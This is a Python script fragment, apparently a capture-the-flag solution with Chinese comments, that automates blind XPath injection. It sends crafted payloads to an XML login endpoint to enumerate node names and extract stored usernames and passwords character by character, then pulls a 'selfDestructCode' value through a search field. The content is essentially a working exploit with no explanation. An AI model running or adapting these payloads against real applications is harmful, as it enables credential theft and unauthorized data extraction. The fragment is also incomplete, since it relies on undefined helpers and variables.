def get_value(*params, position=1): text = '' # 获取各节点值 if len(params) == 0: data = "<username>1' or substring(name(/*[position()=" + str( position) + "]),{},1)='{}' or '1'='1</username><password>1</password><token>{}</token>" elif len(params) == 1: data = "<username>1' or substring(name(/" + params[0] + "/*[position()= " + str( position) + "]),{},1)='{}' or '1'='1</username><password>1</password><token>{}</token>" elif len(params) == 2: data = "<username>1' or substring(name(/" + params[0] + "/" + params[1] + "/*[position()= " + str( position) + "]),{},1)='{}' or '1'='1</username><password>1</password><token>{}</token>" elif len(params) == 3: data = "<username>1' or substring(name(/" + params[0] + "/" + params[1] + "/" + params[ 2] + "/*[position()= " + str( position) + "]),{},1)='{}' or '1'='1</username><password>1</password><token>{}</token>" elif len(params) == 4: data = "<username>1' or substring(name(/" + params[0] + "/" + params[1] + "/" + params[2] + "/" + params[ 3] + "/*[position()=" + str( position) + "],{},1))='{}' or '1'='1</username><password>1</password><token>{}</token>" # 获取用户名和密码 elif len(params) == 5: data = "<username>1' or substring(/root/accounts/user[2]/username/text(),{},1)='{}' or '1'='1</username><password>1</password><token>{}</token>" data = "<username>1' or substring(/root/accounts/user[2]/password/text(),{},1)='{}' or '1'='1</username><password>1</password><token>{}</token>"
for i in range(1, 40): for j in dic: token, headers = get_token() headers["Content-Type"] = "application/xml" payload = data.format(i, j, token) res = requests.post(url, headers=headers, data=payload).text if '非法操作' in res: text += j print(text) break return text
flag = '' for j in range(100): j +=1 for i in dic: #payload = "Straorg' and substring(/military/district[2]/staff[3]/selfDestructCode/text(),{},1)='{}' and '1'='1".format(j,i) payload = "Straorg' and substring(/military/district[3]/staff[2]/selfDestructCode/text(),{},1)='{}' and '1'='1".format(j,i) data = { 'search': payload } print(payload) r = requests.post(url=url, json=data).text if'success'in r: flag += i print(flag) break # print(r)